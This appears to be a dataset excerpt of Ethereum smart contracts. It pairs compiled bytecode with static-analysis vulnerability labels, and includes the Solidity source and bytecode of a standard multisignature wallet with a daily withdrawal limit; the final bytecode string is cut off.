b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f6576129f1848484612e63565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a985750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aad57612aa88484846130c3565b612ab9565b612ab88484846133b8565b5b5b5b80612ac957612ac8613583565b5b50505050565b6000806000612adc613597565b91509150612af3818361282e90919063ffffffff16565b9250505090565b60008083118290612ba6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6b578082015181840152602081019050612b50565b50505050905090810190601f168015612b985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb257fe5b049050809150509392505050565b6000600c54148015612bd457506000600d54145b15612bde57612c01565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1587613844565b955095509550955095509550612c7387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de98161397e565b612df38483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7587613844565b955095509550955095509550612ed386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130498161397e565b6130538483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d587613844565b95509550955095509550955061313387600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325d83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333e8161397e565b6133488483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ca87613844565b95509550955095509550955061342886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ac90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135098161397e565b6135138483613b23565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f9578260026000600984815481106135d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b8575081600360006009848154811061365057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d657600a54683635c9adc5dea0000094509450505050613840565b61375f60026000600984815481106136ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ac90919063ffffffff16565b92506137ea600360006009848154811061377557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ac90919063ffffffff16565b915080806001019150506135b2565b50613818683635c9adc5dea00000600a5461282e90919063ffffffff16565b82101561383757600a54683635c9adc5dea00000935093505050613840565b81819350935050505b9091565b60008060008060008060008060006138618a600c54600d54613b5d565b9250925092506000613871612acf565b905060008060006138848e878787613bf3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227f565b905092915050565b600080828401905083811015613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613988612acf565b9050600061399f82846127a890919063ffffffff16565b90506139f381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1e57613ada83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f690919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3882600a546138ac90919063ffffffff16565b600a81905550613b5381600b546138f690919063ffffffff16565b600b819055505050565b600080600080613b896064613b7b888a6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bb36064613ba5888b6127a890919063ffffffff16565b61282e90919063ffffffff16565b90506000613bdc82613bce858c6138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0c85896127a890919063ffffffff16565b90506000613c2386896127a890919063ffffffff16565b90506000613c3a87896127a890919063ffffffff16565b90506000613c6382613c5585876138ac90919063ffffffff16565b6138ac90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220eb6ec2fcf4361d14e81a3abe8be1890a7681b6d952fac2417edacd06feb07bf264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,219 |
0x42a9253168ef7757a437310bd291ea1f82a86679
|
pragma solidity 0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f083849596919ede97959f829795b0939f9e83959e838983de9e9584">[email protected]</a>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="8efdfaebe8efe0a0e9ebe1fce9ebceede1e0fdebe0fdf7fda0e0ebfa">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405236156101515763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461019c578063173825d9146101ce57806320ea8d86146101ef5780632f54bf6e146102075780633411c81c1461023a5780634bc9fdc214610270578063547415251461029557806367eeba0c146102c45780636b0c932d146102e95780637065cb481461030e578063784547a71461032f5780638b51d13f146103595780639ace38c214610381578063a0e67e2b14610440578063a8abe69a146104a7578063b5dc40c31461051e578063b77bf60014610588578063ba51a6df146105ad578063c01a8c84146105c5578063c6427474146105dd578063cea0862114610654578063d74f8edd1461066c578063dc8452cd14610691578063e20056e6146106b6578063ee22610b146106dd578063f059cf2b146106f5575b5b60003411156101995733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b34156101a757600080fd5b6101b260043561071a565b604051600160a060020a03909116815260200160405180910390f35b34156101d957600080fd5b610199600160a060020a036004351661074c565b005b34156101fa57600080fd5b6101996004356108fd565b005b341561021257600080fd5b610226600160a060020a03600435166109df565b604051901515815260200160405180910390f35b341561024557600080fd5b610226600435600160a060020a03602435166109f4565b604051901515815260200160405180910390f35b341561027b57600080fd5b610283610a14565b60405190815260200160405180910390f35b34156102a057600080fd5b61028360043515156024351515610a4e565b60405190815260200160405180910390f35b34156102cf57600080fd5b610283610abd565b60405190815260200160405180910390f35b34156102f457600080fd5b610283610ac3565b60405190815260200160405180910390f35b341561031957600080fd5b610199600160a060020a0360043516610ac9565b005b341561033a57600080fd5b610226600435610c06565b604051901515815260200160405180910390f35b341561036457600080fd5b610283600435610c9a565b60405190815260200160405180910390f35b341561038c57600080fd5b610397600435610d19565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a08301908590801561042e5780601f106104035761010080835404028352916020019161042e565b820191906000526020600020905b81548152906001019060200180831161041157829003601f168201915b50509550505050505060405180910390f35b341561044b57600080fd5b610453610d4d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b34156104b257600080fd5b61045360043560243560443515156064351515610db6565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b341561052957600080fd5b610453600435610ee4565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104935780820151818401525b60200161047a565b505050509050019250505060405180910390f35b341561059357600080fd5b610283611066565b60405190815260200160405180910390f35b34156105b857600080fd5b61019960043561106c565b005b34156105d057600080fd5b610199600435611102565b005b34156105e857600080fd5b61028360048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506111f495505050505050565b60405190815260200160405180910390f35b341561065f57600080fd5b610199600435611214565b005b341561067757600080fd5b610283611271565b60405190815260200160405180910390f35b341561069c57600080fd5b610283611276565b60405190815260200160405180910390f35b34156106c157600080fd5b610199600160a060020a036004358116906024351661127c565b005b34156106e857600080fd5b61019960043561143d565b005b341561070057600080fd5b610283611663565b60405190815260200160405180910390f35b600380548290811061072857fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561076e57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561079757600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156108925782600160a060020a03166003838154811015156107e157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156108865760038054600019810190811061082257fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561085157fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550610892565b5b6001909101906107ba565b6003805460001901906108a590826117b0565b5060035460045411156108be576003546108be9061106c565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561092557600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561095a57600080fd5b600084815260208190526040902060030154849060ff161561097b57600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b60006007546201518001421115610a2e5750600654610a4b565b6008546006541015610a4257506000610a4b565b50600854600654035b90565b6000805b600554811015610ab557838015610a7b575060008181526020819052604090206003015460ff16155b80610a9f5750828015610a9f575060008181526020819052604090206003015460ff165b5b15610aac576001820191505b5b600101610a52565b5b5092915050565b60065481565b60075481565b30600160a060020a031633600160a060020a0316141515610ae957600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610b1157600080fd5b81600160a060020a0381161515610b2757600080fd5b60038054905060010160045460328211158015610b445750818111155b8015610b4f57508015155b8015610b5a57508115155b1515610b6557600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610b9d83826117b0565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610c925760008481526001602052604081206003805491929184908110610c3457fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610c76576001820191505b600454821415610c895760019250610c92565b5b600101610c0b565b5b5050919050565b6000805b600354811015610d125760008381526001602052604081206003805491929184908110610cc757fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610d09576001820191505b5b600101610c9e565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610d55611804565b6003805480602002602001604051908101604052809291908181526020018280548015610dab57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d8d575b505050505090505b90565b610dbe611804565b610dc6611804565b600080600554604051805910610dd95750595b908082528060200260200182016040525b50925060009150600090505b600554811015610e7157858015610e1f575060008181526020819052604090206003015460ff16155b80610e435750848015610e43575060008181526020819052604090206003015460ff165b5b15610e685780838381518110610e5657fe5b60209081029091010152600191909101905b5b600101610df6565b878703604051805910610e815750595b908082528060200260200182016040525b5093508790505b86811015610ed857828181518110610ead57fe5b906020019060200201518489830381518110610ec557fe5b602090810290910101525b600101610e99565b5b505050949350505050565b610eec611804565b610ef4611804565b6003546000908190604051805910610f095750595b908082528060200260200182016040525b50925060009150600090505b600354811015610fec5760008581526001602052604081206003805491929184908110610f4f57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610fe3576003805482908110610f9857fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610fc457fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610f26565b81604051805910610ffa5750595b908082528060200260200182016040525b509350600090505b8181101561105d5782818151811061102757fe5b9060200190602002015184828151811061103d57fe5b600160a060020a039092166020928302909101909101525b600101611013565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a031614151561108c57600080fd5b60035481603282118015906110a15750818111155b80156110ac57508015155b80156110b757508115155b15156110c257600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff16151561112a57600080fd5b6000828152602081905260409020548290600160a060020a0316151561114f57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561118357600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36109d58561143d565b5b5b50505b505b5050565b6000611201848484611669565b905061120c81611102565b5b9392505050565b30600160a060020a031633600160a060020a031614151561123457600080fd5b60068190557fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca28160405190815260200160405180910390a15b5b50565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561129e57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615156112c757600080fd5b600160a060020a038316600090815260026020526040902054839060ff16156112ef57600080fd5b600092505b6003548310156113975784600160a060020a031660038481548110151561131757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a0316141561138b578360038481548110151561135657fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611397565b5b6001909201916112f4565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b33600160a060020a0381166000908152600260205260408120549091829160ff16151561146957600080fd5b600084815260016020908152604080832033600160a060020a038116855292529091205485919060ff16151561149e57600080fd5b600086815260208190526040902060030154869060ff16156114bf57600080fd5b600087815260208190526040902095506114d887610c06565b9450848061150b575060028087015460001961010060018316150201160415801561150b575061150b8660010154611768565b5b5b156116545760038601805460ff191660011790558415156115375760018601546008805490910190555b85546001870154600160a060020a03909116906002880160405180828054600181600116156101000203166002900480156115b35780601f10611588576101008083540402835291602001916115b3565b820191906000526020600020905b81548152906001019060200180831161159657829003601f168201915b505091505060006040518083038185876187965a03f1925050501561160457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611654565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038601805460ff19169055841515611654576001860154600880549190910390555b5b5b5b5b505b50505b50505050565b60085481565b600083600160a060020a038116151561168157600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556